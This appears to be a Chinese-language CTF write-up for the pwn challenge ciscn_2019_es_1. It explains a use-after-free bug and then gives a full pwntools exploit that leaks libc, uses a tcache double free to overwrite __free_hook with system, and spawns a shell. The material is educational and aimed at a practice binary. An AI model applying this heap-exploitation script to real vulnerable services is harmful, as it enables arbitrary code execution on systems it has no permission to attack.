image.png
    保护全开
    image.png
    ida打开有这句话,,,,2.29修复了double free的漏洞,,,,
    所有大概就是这样
    image.png
    free函数里free没有清除指针,uaf漏洞
    然后我的ubuntu不是一个libc,是不支持double free的漏洞的,网上找了几种方式,有patchelf这个glibc-all-in-all这两个网上还是有的,但是有个问题就是调试的时候是看不了symbol信息的,网上的方法没看懂,以后水平够再说,似乎这个也不大重要,我用vmmap调试出来,有点烦罢了,,,
    加载指定libc我是用

    1. io = process(['./ciscn_2019_es_1'],env={"LD_PRELOAD":"./libc-2.2764.so"})
    2. #文件名 #libc文件

    由于有tcache的存在,所以我们泄露libc的时候是申请大空间然后再0x410的大小是可以绕过tcache
    然后double free由于tcache跟fast bin attack 很像,所以是类似的方法

    1. from pwn import*
    2. context.log_level='debug'
    3. io = process(['./ciscn_2019_es_1'],env={"LD_PRELOAD":"./libc-2.2764.so"})
    4. elf =ELF('./ciscn_2019_es_1')
    5. libc = ELF("./libc-2.2764.so")
    6. __malloc_hook_addr = libc.sym['__malloc_hook']
    7. __free_hook_addr = libc.sym['__free_hook']
    8. def debug():
    9. gdb.attach(io)
    10. pause()
    11. def add(size,name,phone):
    12. io.recvuntil('choice:')
    13. io.sendline('1')
    14. io.recvuntil("Please input the size of compary's name")
    15. io.sendline(str(size))
    16. io.recvuntil('please input name:')
    17. io.sendline(name)
    18. io.recvuntil('please input compary call:')
    19. io.sendline(phone)
    20. def show(index):
    21. io.recvuntil('choice:')
    22. io.sendline('2')
    23. io.recvuntil('Please input the index:')
    24. io.sendline(str(index))
    25. def free(index):
    26. io.recvuntil('choice:')
    27. io.sendline('3')
    28. io.recvuntil('Please input the index:')
    29. io.sendline(str(index))
    30. add(0x410,'abcd','123') #0
    31. add(30,'abcde','1234')
    32. add(20,'/bin/sh\x00','12345')
    33. free(0)
    34. show(0)
    35. offest_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    36. log.success("offest_addr:"+hex(offest_addr))
    37. libcbase=offest_addr-0x3ebca0
    38. log.success("libcbase:"+hex(libcbase))
    39. free_hook = libcbase+__free_hook_addr
    40. system_addr = libcbase+libc.sym['system']
    41. free(1)
    42. free(1)
    43. add(30,p64(free_hook),'124')
    44. debug()
    45. add(30,'ccc','125')
    46. add(30,p64(system_addr),'126')
    47. free(2)
    48. #debug()
    49. io.interactive()

    终于结束,搞这个调试信息烦死了,,,,